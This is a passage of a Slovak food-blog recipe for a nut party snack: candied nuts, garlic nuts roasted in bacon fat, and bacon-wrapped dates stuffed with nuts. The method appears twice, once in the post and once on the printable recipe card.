  • 15 tenkých plátkov slaninky (opäť som použila tú mangalicovú)

Postup:

  1. Kokosový cukor s vodou rozpustíme v hrnčeku. Pridáme škoricu. Zahrievame na stredne silnom plameni. Pridáme oriešky a premiešame tak, aby boli oriešky v sirupe obalené. Sirup redukujeme kým sa oriešky nebudú lepiť a nebude v hrnčeku už žiadna tekutina (cca 3minútky). Oriešky dáme na plach vystlaný papierom na pečenie a pečieme na 180°C cca 8minút. Vyberieme z rúry a necháme úplne vychladnúť – vysušiť.
  2. Na plech dáme tuk, oriešky a cesnak. Poriadne premiešame aby boli oriešky v tuku obalené. Pečieme na 180°C 10minút. Vyberieme z rúry, osolíme a okoreníme. Opäť premiešame a necháme vychladnúť.
  3. Datle zbavíme kôstky a vložíme doň oriešok. Obalíme ich v slaninke a prepichneme špáradlom (aby sa slaninka počas pečenia udržala na datli). Pečieme na 200°C cca 10minút. Vyberieme z rúry a necháme vychladnúť.

img_4024

Print
Orieškový párty snack

Orieškový párty snack

Ingredients

    kandizované oriešky:
  • 160g mixu orieškov (mandle, kešu, vlašské, ...)
  • 40g kokosového cukru
  • 20g vody (ak použijeme miesto vody pomarančovú šťavu opäť získame novú príchuť :) )
  • štipka škorice
  • štipka soli
    údené oriešky s cesnakom:
  • 3lyžice tuku zo slaninky (ja som použila mangalicovú z Village Farm)
  • 150g mixu orieškov
  • 2 rozpučené cesnaky v šupke
  • soľ a korenie
    datle v slaninke:
  • 15ks datlí
  • 15ks orieškov (mandla, vlašský orech)
  • 15 tenkých plátkov slaninky (opäť som použila tú mangalicovú)

Instructions

  1. Kokosový cukor s vodou rozpustíme v hrnčeku. Pridáme škoricu. Zahrievame na stredne silnom plameni. Pridáme oriešky a premiešame tak, aby boli oriešky v sirupe obalené. Sirup redukujeme kým sa oriešky nebudú lepiť a nebude v hrnčeku už žiadna tekutina (cca 3minútky). Oriešky dáme na plach vystlaný papierom na pečenie a pečieme na 180°C cca 8minút. Vyberieme z rúry a necháme úplne vychladnúť - vysušiť.
  2. Na plech dáme tuk, oriešky a cesnak. Poriadne premiešame aby boli oriešky v tuku obalené. Pečieme na 180°C 10minút. Vyberieme z rúry, osolíme a okoreníme. Opäť premiešame a necháme vychladnúť.
  3. Datle zbavíme kôstky a vložíme doň oriešok. Obalíme ich v slaninke a prepichneme špáradlom (aby sa slaninka počas pečenia udržala na datli). Pečieme na 200°C cca 10minút. Vyberieme z rúry a necháme vychladnúť.

Notes

pri údených orieškoch môžeme použiť ten tuk, ktorý sa nám uvoľní pri pečení datlí :)

img_4030}